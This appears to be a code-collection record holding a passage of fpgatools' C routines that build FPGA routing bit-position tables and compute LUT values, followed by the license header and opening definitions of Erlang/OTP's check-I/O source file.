sizeof(src.from_w)/sizeof(src.from_w[0]); j++) src.from_w[j] = (*from_ws)[i][j]; rc = src_to_bitpos(bitpos, cur_el, max_el, &src, /*src_len*/ 1); if (rc) FAIL(rc); } return 0; fail: return rc; } int get_xc6_routing_bitpos(struct xc6_routing_bitpos** bitpos, int* num_bitpos) { int i, j, k, rc; *num_bitpos = 0; *bitpos = malloc(MAX_SWITCHBOX_SIZE * sizeof(**bitpos)); if (!(*bitpos)) FAIL(ENOMEM); // mip 0-10 (6*288=1728 switches) { struct sw_mip_src src[] = { {0, DW + ((W_WW4*4+3) | DIR_BEG), 0, 2, 3, DW + ((W_NW4*4+3) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {0, DW + ((W_WW4*4+3) | DIR_BEG), 0, 1, 3, DW + ((W_NW4*4+3) | DIR_BEG), 14, 2, 2, {DW + ((W_SW2*4+2)|DIR_N3), DW + ((W_SS2*4+2)|DIR_N3), DW + ((W_WW2*4+2)|DIR_N3), DW + W_NE2*4+3, DW + W_NN2*4+3, DW + W_NW2*4+3}}, {0, DW + ((W_WW4*4+3) | DIR_BEG), 0, 0, 3, DW + ((W_NW4*4+3) | DIR_BEG), 14, 0, 2, {DW + ((W_SW4*4+2)|DIR_N3), DW + ((W_SS4*4+2)|DIR_N3), DW + W_NE4*4+3, DW + W_NN4*4+3, DW + W_NW4*4+3, DW + W_WW4*4+3}}, {0, DW + ((W_SS4*4+3) | DIR_BEG), 16, 2, 18, DW + ((W_SW4*4+3) | DIR_BEG), 30, 1, 19, {DW + W_SW2*4+3, DW + W_WW2*4+3, DW + ((W_NW2*4+0)|DIR_S0), DW + W_SS2*4+3, DW + W_SE2*4+3, DW + W_EE2*4+3}}, {0, DW + ((W_SS4*4+3) | DIR_BEG), 16, 1, 18, DW + ((W_SW4*4+3) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {0, DW + ((W_SS4*4+3) | DIR_BEG), 16, 0, 18, DW + ((W_SW4*4+3) | DIR_BEG), 30, 0, 19, {DW + W_SW4*4+3, DW + W_SS4*4+3, DW + ((W_WW4*4+0)|DIR_S0), DW + ((W_NW4*4+0)|DIR_S0), DW + W_SE4*4+3, DW + W_EE4*4+3}}, {2, DW + ((W_NN4*4+3) | DIR_BEG), 0, 2, 3, DW + ((W_NE4*4+3) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {2, DW + ((W_NN4*4+3) | DIR_BEG), 0, 1, 3, DW + ((W_NE4*4+3) | DIR_BEG), 14, 2, 2, {DW + W_EE2*4+3, DW + W_SE2*4+3, DW + ((W_WW2*4+2)|DIR_N3), DW + W_NE2*4+3, DW + W_NN2*4+3, DW + W_NW2*4+3}}, {2, DW + ((W_NN4*4+3) | DIR_BEG), 0, 0, 3, DW + ((W_NE4*4+3) | DIR_BEG), 14, 0, 2, {DW + W_EE4*4+3, DW + W_SE4*4+3, DW + W_NE4*4+3, DW + W_NN4*4+3, DW + W_NW4*4+3, DW + W_WW4*4+3}}, {2, DW + ((W_EE4*4+3) | DIR_BEG), 16, 2, 18, DW + ((W_SE4*4+3) | DIR_BEG), 30, 1, 19, {DW + W_SW2*4+3, DW + W_NN2*4+3, DW + W_NE2*4+3, DW + W_SS2*4+3, DW + W_SE2*4+3, DW + W_EE2*4+3}}, {2, DW + ((W_EE4*4+3) | DIR_BEG), 16, 1, 18, DW + ((W_SE4*4+3) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {2, DW + ((W_EE4*4+3) | DIR_BEG), 16, 0, 18, DW + ((W_SE4*4+3) | DIR_BEG), 30, 0, 19, {DW + W_SW4*4+3, DW + W_SS4*4+3, DW + W_NN4*4+3, DW + W_NE4*4+3, DW + W_SE4*4+3, DW + W_EE4*4+3}}, {4, DW + ((W_NW2*4+3) | DIR_BEG), 0, 2, 3, DW + ((W_NN2*4+3) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {4, DW + ((W_NW2*4+3) | DIR_BEG), 0, 1, 3, DW + ((W_NN2*4+3) | DIR_BEG), 14, 2, 2, {DW + W_NE2*4+3, DW + W_NN2*4+3, DW + ((W_WL1*4+2)|DIR_N3), DW + W_WR1*4+3, DW + W_NR1*4+3, DW + W_NL1*4+3}}, {4, DW + ((W_NW2*4+3) | DIR_BEG), 0, 0, 3, DW + ((W_NN2*4+3) | DIR_BEG), 14, 0, 2, {DW + W_NW4*4+3, DW + W_WW4*4+3, DW + W_NE4*4+3, DW + W_NN4*4+3, DW + ((W_WW2*4+2)|DIR_N3), DW + W_NW2*4+3}}, {4, DW + ((W_WW2*4+3) | DIR_BEG), 16, 2, 18, DW + ((W_SW2*4+3) | DIR_BEG), 30, 1, 19, {DW + W_SR1*4+3, DW + W_SL1*4+3, DW + ((W_WR1*4+0)|DIR_S0), DW + W_WL1*4+3, DW + W_SW2*4+3, DW + W_SS2*4+3}}, {4, DW + ((W_WW2*4+3) | DIR_BEG), 16, 1, 18, DW + ((W_SW2*4+3) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {4, DW + ((W_WW2*4+3) | DIR_BEG), 16, 0, 18, DW + ((W_SW2*4+3) | DIR_BEG), 30, 0, 19, {DW + W_WW2*4+3, DW + ((W_NW2*4+0)|DIR_S0), DW + W_SW4*4+3, DW + W_SS4*4+3, DW + ((W_WW4*4+0)|DIR_S0), DW + ((W_NW4*4+0)|DIR_S0)}}, {6, DW + ((W_NE2*4+3) | DIR_BEG), 0, 2, 3, DW + ((W_EE2*4+3) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {6, DW + ((W_NE2*4+3) | DIR_BEG), 0, 1, 3, DW + ((W_EE2*4+3) | DIR_BEG), 14, 2, 2, {DW + W_NE2*4+3, DW + W_NN2*4+3, DW + W_EL1*4+3, DW + W_ER1*4+3, DW + W_NR1*4+3, DW + W_NL1*4+3}}, {6, DW + ((W_NE2*4+3) | DIR_BEG), 0, 0, 3, DW + ((W_EE2*4+3) | DIR_BEG), 14, 0, 2, {DW + W_EE4*4+3, DW + W_SE4*4+3, DW + W_NE4*4+3, DW + W_NN4*4+3, DW + W_EE2*4+3, DW + W_SE2*4+3}}, {6, DW + ((W_SS2*4+3) | DIR_BEG), 16, 2, 18, DW + ((W_SE2*4+3) | DIR_BEG), 30, 1, 19, {DW + W_SR1*4+3, DW + W_SL1*4+3, DW + W_ER1*4+3, DW + W_EL1*4+3, DW + W_SW2*4+3, DW + W_SS2*4+3}}, {6, DW + ((W_SS2*4+3) | DIR_BEG), 16, 1, 18, DW + ((W_SE2*4+3) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {6, DW + ((W_SS2*4+3) | DIR_BEG), 16, 0, 18, DW + ((W_SE2*4+3) | DIR_BEG), 30, 0, 19, {DW + W_SE2*4+3, DW + W_EE2*4+3, DW + W_SW4*4+3, DW + W_SS4*4+3, DW + W_SE4*4+3, DW + W_EE4*4+3}}, {8, DW + ((W_WR1*4+0) | DIR_BEG), 0, 2, 3, DW + ((W_NL1*4+2) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {8, DW + ((W_WR1*4+0) | DIR_BEG), 0, 1, 3, DW + ((W_NL1*4+2) | DIR_BEG), 14, 2, 2, {DW + W_NE2*4+3, DW + W_NN2*4+3, DW + ((W_WL1*4+2)|DIR_N3), DW + W_WR1*4+3, DW + W_NR1*4+3, DW + W_NL1*4+3}}, {8, DW + ((W_WR1*4+0) | DIR_BEG), 0, 0, 3, DW + ((W_NL1*4+2) | DIR_BEG), 14, 0, 2, {DW + W_NW4*4+3, DW + W_WW4*4+3, DW + W_NE4*4+3, DW + W_NN4*4+3, DW + ((W_WW2*4+2)|DIR_N3), DW + W_NW2*4+3}}, {8, DW + ((W_SR1*4+0) | DIR_BEG), 16, 2, 18, DW + ((W_WL1*4+2) | DIR_BEG), 30, 1, 19, {DW + W_SR1*4+3, DW + W_SL1*4+3, DW + ((W_WR1*4+0)|DIR_S0), DW + W_WL1*4+3, DW + W_SW2*4+3, DW + W_SS2*4+3}}, {8, DW + ((W_SR1*4+0) | DIR_BEG), 16, 1, 18, DW + ((W_WL1*4+2) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {8, DW + ((W_SR1*4+0) | DIR_BEG), 16, 0, 18, DW + ((W_WL1*4+2) | DIR_BEG), 30, 0, 19, {DW + W_WW2*4+3, DW + ((W_NW2*4+0)|DIR_S0), DW + W_SW4*4+3, DW + W_SS4*4+3, DW + ((W_WW4*4+0)|DIR_S0), DW + ((W_NW4*4+0)|DIR_S0)}}, {10, DW + ((W_EL1*4+2) | DIR_BEG), 0, 2, 3, DW + ((W_NR1*4+3) | DIR_BEG), 14, 1, 2, {LW + (LO_BMUX|LD1), LW + (LO_DQ|LD1), LW + (LO_D|LD1), LW + LO_BMUX, LW + LO_DQ, LW + LO_D}}, {10, DW + ((W_EL1*4+2) | DIR_BEG), 0, 1, 3, DW + ((W_NR1*4+3) | DIR_BEG), 14, 2, 2, {DW + W_NE2*4+3, DW + W_NN2*4+3, DW + W_EL1*4+3, DW + W_ER1*4+3, DW + W_NR1*4+3, DW + W_NL1*4+3}}, {10, DW + ((W_EL1*4+2) | DIR_BEG), 0, 0, 3, DW + ((W_NR1*4+3) | DIR_BEG), 14, 0, 2, {DW + W_EE4*4+3, DW + W_SE4*4+3, DW + W_NE4*4+3, DW + W_NN4*4+3, DW + W_EE2*4+3, DW + W_SE2*4+3}}, {10, DW + ((W_SL1*4+3) | DIR_BEG), 16, 2, 18, DW + ((W_ER1*4+0) | DIR_BEG), 30, 1, 19, {DW + W_SR1*4+3, DW + W_SL1*4+3, DW + W_ER1*4+3, DW + W_EL1*4+3, DW + W_SW2*4+3, DW + W_SS2*4+3}}, {10, DW + ((W_SL1*4+3) | DIR_BEG), 16, 1, 18, DW + ((W_ER1*4+0) | DIR_BEG), 30, 2, 19, {LW + LO_D, LW + LO_DQ, LW + LO_BMUX, LW + (LO_D|LD1), LW + (LO_DQ|LD1), LW + (LO_BMUX|LD1)}}, {10, DW + ((W_SL1*4+3) | DIR_BEG), 16, 0, 18, DW + ((W_ER1*4+0) | DIR_BEG), 30, 0, 19, {DW + W_SE2*4+3, DW + W_EE2*4+3, DW + W_SW4*4+3, DW + W_SS4*4+3, DW + W_SE4*4+3, DW + W_EE4*4+3}}}; for (i = 0;; i++) { rc = src_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, src, sizeof(src)/sizeof(*src)); if (rc) FAIL(rc); if (i >= 3) break; for (j = 0; j < sizeof(src)/sizeof(*src); j++) { src[j].m0_sw_to = wire_decrement(src[j].m0_sw_to); src[j].m0_two_bits_o += 32; src[j].m0_one_bit_start += 32; src[j].m1_sw_to = wire_decrement(src[j].m1_sw_to); src[j].m1_two_bits_o += 32; src[j].m1_one_bit_start += 32; for (k = 0; k < sizeof(src[0].from_w)/sizeof(src[0].from_w[0]); k++) src[j].from_w[k] = wire_decrement(src[j].from_w[k]); } } } // mip 12-18, decrementing directional wires (1024 switches) { struct sw_mip_src src[] = { {12, NO_WIRE, 0, 2, 2, NO_WIRE, 14, 2, 3, {DW + W_EL1*4+3, DW + W_ER1*4+3, DW + W_WL1*4+3, DW + W_WR1*4+3, DW + W_EE2*4+3, DW + W_SE2*4+3}}, {12, NO_WIRE, 0, 0, 2, NO_WIRE, 14, 0, 3, {DW + W_SS2*4+3, DW + W_SW2*4+3, DW + ((W_NW2*4+0)|DIR_S0), DW + W_WW2*4+3, DW + W_NE2*4+3, DW + W_NN2*4+3}}, {12, NO_WIRE, 0, 1, 2, NO_WIRE, 14, 1, 3, {NO_WIRE, NO_WIRE, DW + ((W_NL1*4+0)|DIR_S0), DW + W_NR1*4+3, DW + W_SL1*4+3, DW + W_SR1*4+3}}, {14, NO_WIRE, 0, 1, 3, NO_WIRE, 14, 1, 2, {DW + ((W_EL1*4+0)|DIR_S0), DW + W_ER1*4+3, DW + W_WL1*4+3, DW + ((W_WR1*4+0)|DIR_S0), DW + W_EE2*4+3, DW + W_SE2*4+3}}, {14, NO_WIRE, 0, 0, 3, NO_WIRE, 14, 0, 2, {DW + W_SS2*4+3, DW + W_SW2*4+3, DW + ((W_NW2*4+0)|DIR_S0), DW + W_WW2*4+3, DW + ((W_NE2*4+0)|DIR_S0), DW + ((W_NN2*4+0)|DIR_S0)}}, {14, NO_WIRE, 0, 2, 3, NO_WIRE, 14, 2, 2, {NO_WIRE, NO_WIRE, DW + ((W_NL1*4+0)|DIR_S0), DW + W_NR1*4+3, DW + W_SL1*4+3, DW + W_SR1*4+3}}, {16, NO_WIRE, 0, 2, 2, NO_WIRE, 14, 2, 3, {DW + W_EL1*4+3, DW + W_ER1*4+3, DW + W_WL1*4+3, DW + W_WR1*4+3, DW + W_EE2*4+3, DW + W_SE2*4+3}}, {16, NO_WIRE, 0, 0, 2, NO_WIRE, 14, 0, 3, {DW + W_SS2*4+3, DW + W_SW2*4+3, DW + W_NW2*4+3, DW + ((W_WW2*4+2)|DIR_N3), DW + W_NE2*4+3, DW + W_NN2*4+3}}, {16, NO_WIRE, 0, 1, 2, NO_WIRE, 14, 1, 3, {NO_WIRE, NO_WIRE, DW + W_NL1*4+3, DW + W_NR1*4+3, DW + W_SL1*4+3, DW + ((W_SR1*4+2)|DIR_N3)}}, {18, NO_WIRE, 0, 1, 3, NO_WIRE, 14, 1, 2, {DW + W_EL1*4+3, DW + ((W_ER1*4+2)|DIR_N3), DW + ((W_WL1*4+2)|DIR_N3), DW + W_WR1*4+3, DW + W_EE2*4+3, DW + W_SE2*4+3}}, {18, NO_WIRE, 0, 0, 3, NO_WIRE, 14, 0, 2, {DW + ((W_SS2*4+2)|DIR_N3), DW + ((W_SW2*4+2)|DIR_N3), DW + W_NW2*4+3, DW + ((W_WW2*4+2)|DIR_N3), DW + W_NE2*4+3, DW + W_NN2*4+3}}, {18, NO_WIRE, 0, 2, 3, NO_WIRE, 14, 2, 2, {NO_WIRE, NO_WIRE, DW + W_NL1*4+3, DW + W_NR1*4+3, DW + W_SL1*4+3, DW + ((W_SR1*4+2)|DIR_N3)}}}; for (i = 0; i < 8; i++) { for (j = 0; j < sizeof(src)/sizeof(*src); j++) { int logicin_o = ((src[j].minor-12)/2)*LOGIN_MIP_ROWS*LOGIN_ROW; logicin_o += i*LOGIN_ROW; src[j].m0_sw_to = logicin_matrix[logicin_o+0]; src[j].m1_sw_to = logicin_matrix[logicin_o+1]; if (i) { src[j].m0_two_bits_o += 16; src[j].m0_one_bit_start += 16; src[j].m1_two_bits_o += 16; src[j].m1_one_bit_start += 16; if (!(i%2)) // at 2, 4 and 6 we decrement the wires for (k = 0; k < sizeof(src[0].from_w)/sizeof(src[0].from_w[0]); k++) src[j].from_w[k] = wire_decrement(src[j].from_w[k]); } } rc = src_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, src, sizeof(src)/sizeof(*src)); if (rc) FAIL(rc); } } // VCC/GND/GFAN, logicin and logicout sources // mip12-14 { int logicin_src[8][6] = { {VCC_WIRE, LW + (LO_D|LD1), LW + LO_DQ, LW + (LO_BMUX|LD1), LOGICIN_S62, LOGICIN_S20}, {GFAN1, LW + (LO_D|LD1), LW + LO_DQ, LW + (LO_BMUX|LD1), LOGICIN_S62, LOGICIN_S20}, {VCC_WIRE, LW + LO_C, LW + (LO_CQ|LD1), LW + LO_AMUX, LOGICIN_S62, LW + (LI_AX|LD1)}, {GFAN1, LW + LO_C, LW + (LO_CQ|LD1), LW + LO_AMUX, LOGICIN_S62, LW + (LI_AX|LD1)}, {VCC_WIRE, LW + (LO_B|LD1), LW + LO_BQ, LW + (LO_DMUX|LD1), LW + (LI_AX|LD1), LW + (LI_CI|LD1)}, {GFAN0, LW + (LO_B|LD1), LW + LO_BQ, LW + (LO_DMUX|LD1), LW + (LI_AX|LD1), LW + (LI_CI|LD1)}, {VCC_WIRE, LW + LO_A, LW + (LO_AQ|LD1), LW + LO_CMUX, LOGICIN20, LW + (LI_CI|LD1)}, {GFAN0, LW + LO_A, LW + (LO_AQ|LD1), LW + LO_CMUX, LOGICIN20, LW + (LI_CI|LD1)}, }; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 12, 3, 2, 3, 3, &logicin_src); if (rc) FAIL(rc); logicin_src[1][0] = logicin_src[3][0] = logicin_src[5][0] = logicin_src[7][0] = VCC_WIRE; logicin_src[0][0] = logicin_src[2][0] = GFAN1; logicin_src[4][0] = logicin_src[6][0] = GFAN0; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 14, 3, 3, 3, 2, &logicin_src); if (rc) FAIL(rc); } { int logicin_src[8][6] = { { LW + LI_BX, LOGICIN52 }, { LW + LI_BX, LOGICIN52 }, { LW + LI_BX, LW + (LI_DI|LD1) }, { LW + LI_BX, LW + (LI_DI|LD1) }, { LW + (LI_DI|LD1), LOGICIN_N28 }, { LW + (LI_DI|LD1), LOGICIN_N28 }, { LOGICIN_N52, LOGICIN_N28 }, { LOGICIN_N52, LOGICIN_N28 }}; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 12, 1, 2, 1, 3, &logicin_src); if (rc) FAIL(rc); rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 14, 2, 3, 2, 2, &logicin_src); if (rc) FAIL(rc); } // mip16-18 { int logicin_src[8][6] = { {VCC_WIRE, LW + LO_D, LW + (LO_DQ|LD1), LW + LO_BMUX, LOGICIN_S36, LOGICIN_S44}, {GFAN1, LW + LO_D, LW + (LO_DQ|LD1), LW + LO_BMUX, LOGICIN_S36, LOGICIN_S44}, {VCC_WIRE, LW + (LO_C|LD1), LW + LO_CQ, LW + (LO_AMUX|LD1), LOGICIN_S36, LW + LI_AX}, {GFAN1, LW + (LO_C|LD1), LW + LO_CQ, LW + (LO_AMUX|LD1), LOGICIN_S36, LW + LI_AX}, {VCC_WIRE, LW + LO_B, LW + (LO_BQ|LD1), LW + LO_DMUX, LW + LI_AX, LW + (LI_CE|LD1)}, {GFAN0, LW + LO_B, LW + (LO_BQ|LD1), LW + LO_DMUX, LW + LI_AX, LW + (LI_CE|LD1)}, {VCC_WIRE, LW + (LO_A|LD1), LW + LO_AQ, LW + (LO_CMUX|LD1), LOGICIN44, LW + (LI_CE|LD1)}, {GFAN0, LW + (LO_A|LD1), LW + LO_AQ, LW + (LO_CMUX|LD1), LOGICIN44, LW + (LI_CE|LD1)}, }; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 16, 3, 2, 3, 3, &logicin_src); if (rc) FAIL(rc); logicin_src[1][0] = logicin_src[3][0] = logicin_src[5][0] = logicin_src[7][0] = VCC_WIRE; logicin_src[0][0] = logicin_src[2][0] = GFAN1; logicin_src[4][0] = logicin_src[6][0] = GFAN0; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 18, 3, 3, 3, 2, &logicin_src); if (rc) FAIL(rc); } { int logicin_src[8][6] = { { LW + (LI_BX|LD1), LOGICIN21 }, { LW + (LI_BX|LD1), LOGICIN21 }, { LW + (LI_BX|LD1), FAN_B }, { LW + (LI_BX|LD1), FAN_B }, { FAN_B, LOGICIN_N60 }, { FAN_B, LOGICIN_N60 }, { LOGICIN_N21, LOGICIN_N60 }, { LOGICIN_N21, LOGICIN_N60 }}; rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 16, 1, 2, 1, 3, &logicin_src); if (rc) FAIL(rc); rc = mip_to_bitpos(*bitpos, num_bitpos, MAX_SWITCHBOX_SIZE, 18, 2, 3, 2, 2, &logicin_src); if (rc) FAIL(rc); } // minor 20 switches (SR, CLK, GFAN = 113 switches (4 bidir added on other side)) { const struct sw_mip_src src[] = { {20, SR1, 6, 3, 0, .from_w = {GCLK11, GCLK10, GCLK13, GCLK12, GCLK9, GCLK8}}, {20, SR1, 6, 2, 0, .from_w = {DW+W_WR1*4+2, DW+W_NR1*4+2, VCC_WIRE, GND_WIRE, DW+W_ER1*4+2, DW+W_SR1*4+2}}, {20, SR1, 6, 1, 0, .from_w = {FAN_B, LW+(LI_DI|LD1), LW+(LI_BX|LD1), LW+LI_BX, GCLK15, GCLK14}}, {20, SR0, 8, 3, 10, .from_w = {GCLK8, GCLK9, GCLK10, GCLK13, GCLK12, GCLK11}}, {20, SR0, 8, 2, 10, .from_w = {GCLK14, GCLK15, LW+(LI_DI|LD1), LW+(LI_BX|LD1), LW+LI_BX, FAN_B}}, {20, SR0, 8, 1, 10, .from_w = {DW+W_SR1*4+2, DW+W_ER1*4+2, DW+W_NR1*4+2, VCC_WIRE, NO_WIRE /*is this GND?*/, DW+W_WR1*4+2}}, {20, CLK0, 16, 3, 18, .from_w = {GCLK0, GCLK1, GCLK2, GCLK5, GCLK4, GCLK3}}, {20, CLK0, 16, 2, 18, .from_w = {GCLK6, GCLK7, GCLK8, GCLK11, GCLK10, GCLK9}}, {20, CLK0, 16, 1, 18, .from_w = {GCLK12, GCLK13, GCLK14, LW+(LI_BX|LD1), LW+(LI_CI|LD1), GCLK15}}, {20, CLK0, 16, 0, 18, .from_w = {DW+W_NR1*4+2, DW+W_WR1*4+2, DW+W_SR1*4+1, VCC_WIRE, NO_WIRE, DW+W_ER1*4+1}}, {20, CLK1, 46, 3, 40, .from_w = {GCLK3, GCLK2, GCLK5, GCLK4, GCLK1, GCLK0}}, {20, CLK1, 46, 2, 40, .from_w = {GCLK15, GCLK14, LW+(LI_BX|LD1), LW+(LI_CI|LD1), GCLK13, GCLK12}}, {20, CLK1, 46, 1, 40, .from_w = {GCLK9, GCLK8, GCLK11, GCLK10, GCLK7, GCLK6}}, {20, CLK1, 46, 0, 40, .from_w = {DW+W_ER1*4+1, DW+W_SR1*4+1, VCC_WIRE, NO_WIRE, DW+W_WR1*4+2, DW+W_NR1*4+2}}, {20, GFAN0, 54, 3, 48, .from_w = {GCLK3, GCLK4, GCLK5, GCLK2, GCLK1, GCLK0}}, {20, GFAN0, 54, 2, 48, .from_w = {DW+W_WR1*4+1, GND_WIRE, VCC_WIRE, DW+W_NR1*4+1, DW+W_ER1*4+1, DW+W_SR1*4+1}}, {20, GFAN0, 54, 1, 48, .from_w = {LW+(LI_CE|LD1), LW+(LI_AX|LD1), LW+LI_AX, LW+(LI_CI|LD1), GCLK7, GCLK6}}, {20, GFAN1, 56, 3, 58, .from_w = {GCLK0, GCLK1, GCLK4, GCLK5, GCLK2, GCLK3}}, {20, GFAN1, 56, 2, 58, .from_w = {GCLK6, GCLK7, LW+(LI_AX|LD1), LW+LI_AX, LW+(LI_CI|LD1), LW+(LI_CE|LD1)}}, {20, GFAN1, 56, 1, 58, .from_w = {DW+W_SR1*4+1, DW+W_ER1*4+1, GND_WIRE, VCC_WIRE, DW+W_NR1*4+1, DW+W_WR1*4+1}}}; for (i = 0; i < sizeof(src)/sizeof(*src); i++) { for (j = 0; j < sizeof(src[0].from_w)/sizeof(src[0].from_w[0]); j++) { if (src[i].from_w[j] == NO_WIRE) continue; if (*num_bitpos >= MAX_SWITCHBOX_SIZE) FAIL(EINVAL); (*bitpos)[*num_bitpos].from = src[i].from_w[j]; (*bitpos)[*num_bitpos].to = src[i].m0_sw_to; (*bitpos)[*num_bitpos].bidir = bidir_check(src[i].from_w[j], src[i].m0_sw_to); (*bitpos)[*num_bitpos].minor = 20; (*bitpos)[*num_bitpos].two_bits_o = src[i].m0_two_bits_o; (*bitpos)[*num_bitpos].two_bits_val = src[i].m0_two_bits_val; (*bitpos)[*num_bitpos].one_bit_o = src[i].m0_one_bit_start + j; (*num_bitpos)++; } }} return 0; fail: return rc; } void free_xc6_routing_bitpos(struct xc6_routing_bitpos* bitpos) { free(bitpos); } uint64_t xc6_lut_value(int lut_pos, int lutw_tl, int lutw_tr, int lutw_bl, int lutw_br) { // XC6_LMAP_ macros are offsets into this array: static const int xc6_lut_wiring[4][8] = { // xm-m a; xm-m c; { 15, 14, 12, 13, 8, 9, 11, 10 }, // xm-m b; xm-m d; { 0, 1, 3, 2, 7, 6, 4, 5 }, // xm-x a; xm-x b; xl-l b; xl-l d; xl-x a; xl-x b; { 8, 9, 10, 11, 14, 15, 12, 13 }, // xm-x c; xm-x d; xl-l a; xl-l c; xl-x c; xl-x d; { 7, 6, 5, 4, 1, 0, 3, 2 }}; uint64_t v; int full_word_positions[16], i; // expand 8 bits to 16 bits for (i = 0; i < 8; i++) { full_word_positions[i] = xc6_lut_wiring[lut_pos][i]; full_word_positions[i+8] = (xc6_lut_wiring[lut_pos][i]+8)%16; } // swap top and bottom words if needed if (lut_pos == XC6_LMAP_XM_M_B || lut_pos == XC6_LMAP_XM_M_D || lut_pos == XC6_LMAP_XM_X_C || lut_pos == XC6_LMAP_XM_X_D || lut_pos == XC6_LMAP_XL_L_A || lut_pos == XC6_LMAP_XL_L_C || lut_pos == XC6_LMAP_XL_X_C || lut_pos == XC6_LMAP_XL_X_D) { int temp_w; temp_w = lutw_tl; lutw_tl = lutw_bl; lutw_bl = temp_w; temp_w = lutw_tr; lutw_tr = lutw_br; lutw_br = temp_w; } // assemble bits v = 0; for (i = 0; i < 16; i+=2) { // top side if (lutw_tr & (1<<full_word_positions[i])) v |= 1ULL << (i*2); if (lutw_tr & (1<<full_word_positions[i+1])) v |= 1ULL << (i*2+1); if (lutw_tl & (1<<full_word_positions[i])) v |= 1ULL << (i*2+2); if (lutw_tl & (1<<full_word_positions[i+1])) v |= 1ULL << (i*2+3); // bottom side if (lutw_br & (1<<full_word_positions[i])) v |= 1ULL << (32+i*2); if (lutw_br & (1<<full_word_positions[i+1])) v |= 1ULL << (32+i*2+1); if (lutw_bl & (1<<full_word_positions[i])) v |= 1ULL << (32+i*2+2); if (lutw_bl & (1<<full_word_positions[i+1])) v |= 1ULL << (32+i*2+3); } return v; }
DeanoC/fpgatools
libs/parts.c
C
unlicense
90,903
/* * %CopyrightBegin% * * Copyright Ericsson AB 2006-2020. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * %CopyrightEnd% */ /* * Description: Check I/O * * Author: Rickard Green */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #define ERL_CHECK_IO_C__ #ifndef WANT_NONBLOCKING # define WANT_NONBLOCKING #endif #include "sys.h" #include "global.h" #include "erl_port.h" #include "erl_check_io.h" #include "erl_thr_progress.h" #include "erl_bif_unique.h" #include "dtrace-wrapper.h" #include "lttng-wrapper.h" #define ERTS_WANT_TIMER_WHEEL_API #include "erl_time.h" #if 0 #define DEBUG_PRINT(FMT, ...) do { erts_printf(FMT "\r\n", ##__VA_ARGS__); fflush(stdout); } while(0) #define DEBUG_PRINT_FD(FMT, STATE, ...) \ DEBUG_PRINT("%d: " FMT " (ev=%s, ac=%s, flg=%s)", \ (STATE) ? (STATE)->fd : (ErtsSysFdType)-1, ##__VA_ARGS__, \ ev2str((STATE) ? (STATE)->events : ERTS_POLL_EV_NONE), \ ev2str((STATE) ? (STATE)->active_events : ERTS_POLL_EV_NONE), \ (STATE) ? flag2str((STATE)->flags) : ERTS_EV_FLAG_CLEAR) #define DEBUG_PRINT_MODE #else #define DEBUG_PRINT(...) #endif #ifndef DEBUG_PRINT_FD #define DEBUG_PRINT_FD(...) #endif #ifndef ERTS_SYS_CONTINOUS_FD_NUMBERS # include "safe_hash.h" # define DRV_EV_STATE_HTAB_SIZE 1024 #endif typedef enum { ERTS_EV_TYPE_NONE = 0, ERTS_EV_TYPE_DRV_SEL = 1, /* driver_select */ ERTS_EV_TYPE_STOP_USE = 2, /* pending stop_select */ ERTS_EV_TYPE_NIF = 3, /* enif_select */ ERTS_EV_TYPE_STOP_NIF = 4 /* pending nif stop */ } EventStateType; typedef enum { ERTS_EV_FLAG_CLEAR = 0, ERTS_EV_FLAG_USED = 1, /* ERL_DRV_USE has been turned on */ #if ERTS_POLL_USE_SCHEDULER_POLLING ERTS_EV_FLAG_SCHEDULER = 2, /* Set when the fd has been migrated to scheduler pollset */ ERTS_EV_FLAG_IN_SCHEDULER = 4, /* Set when the fd is currently in scheduler pollset */ #else 